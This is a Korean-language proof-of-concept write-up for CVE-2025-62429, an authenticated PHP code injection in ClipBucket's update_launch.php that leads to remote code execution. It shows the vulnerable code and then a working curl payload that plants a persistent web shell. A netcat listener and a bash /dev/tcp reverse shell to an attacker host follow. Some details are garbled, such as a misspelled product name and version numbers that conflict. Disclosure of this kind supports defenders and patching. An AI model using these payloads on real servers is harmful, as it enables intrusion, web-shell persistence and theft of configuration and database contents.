
CVE-2025-62429 | clipbucket RCE
update_launch.php의 PHP 코드 삽입을 통한 RCE 개념 증명
공개: 제가 GHSA-3h9c-7j8r-xc3v를 통해 처음 보고했습니다.
⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-62429 |
| 심각도 | 🔴 높음 |
| CVSS 점수 | 7.2 |
| CVSS 벡터 | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: OS 명령 삽입, CWE-94: 코드 삽입 |
| 영향받는 제품 | ClibBucket <= 5.5.3 - #79 |
| 패치 버전 | 5.5.3 - #80 |
| 권고 | GHSA-3h9c-7j8r-xc3v |
ClipBucket v5.5.3-61에는 인증된 원격 코드 실행(RCE) 취약점이 존재합니다. 이 취약점은 **CWE-94: 코드 생성 제어 불량('코드 삽입')**으로 분류됩니다. 애플리케이션은 update_launch.php에서 실행 가능한 PHP 코드를 생성하는 데 사용되는 사용자 제어 입력을 제대로 필터링하지 않습니다. 인증된 관리자는 이 취약점을 악용하여 기본 서버에서 전체 명령 실행을 달성할 수 있으며, 웹 관리자 권한에서 시스템 사용자(예: containeruser)로 권한을 상승시킬 수 있습니다.
이 취약점은 upload/admin_area/actions/update_launch.php에 있습니다. 이 스크립트는 임시 PHP 백그라운드 스크립트를 동적으로 생성하여 시스템 업데이트를 수행합니다.
취약 코드 스니펫: upload/admin_area/actions/update_launch.php (40-86행)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
악용 메커니즘:
type 매개변수는 이스케이프나 필터링 없이 $data 문자열에 연결되므로, 공격자는 작은따옴표(')를 사용하여 문자열 리터럴 컨텍스트를 벗어날 수 있습니다. 그런 다음 임의의 PHP 함수(예: system() 또는 file_put_contents())를 주입하고 //를 사용하여 나머지 원본 코드를 주석 처리할 수 있습니다. 이로 인해 PHP-CLI 프로세스의 권한으로 공격자가 제공한 코드가 실행됩니다.
PHPSESSID 세션 쿠키.
먼저 문서 루트에 지속성 있는 웹 셸을 배포하여 취약점을 입증합니다.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
RCE를 확인한 후, 사후 공격(post-exploitation)을 위해 대화형 셸을 설정합니다.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
공격자 머신은 연결을 수신하여 containeruser 권한의 전체 대화형 셸 접근을 얻습니다.
취약점 악용에 성공하면 공격자는 임의의 시스템 명령을 실행할 수 있습니다. 그 결과는 다음과 같습니다:
config.inc.php)과 전체 데이터베이스를 읽을 수 있습니다.이 문제는 이전에 공개된 다음 취약점과 관련이 있습니다:
추가 분석 결과, 불완전한 수정으로 인해 ClipBucket v5.5.3에서 이 취약점이 지속되는 것으로 확인되었습니다.
원래 권고가 문제의 일부를 해결했지만, update_launch.php의 type 매개변수를 통한 PHP 코드 주입 경로는 여전히 악용 가능했습니다.
본 권고는 추가 기술 세부 정보, 최신 버전에 대한 검증, 그리고 완전한 엔드투엔드 악용 시나리오를 제공합니다.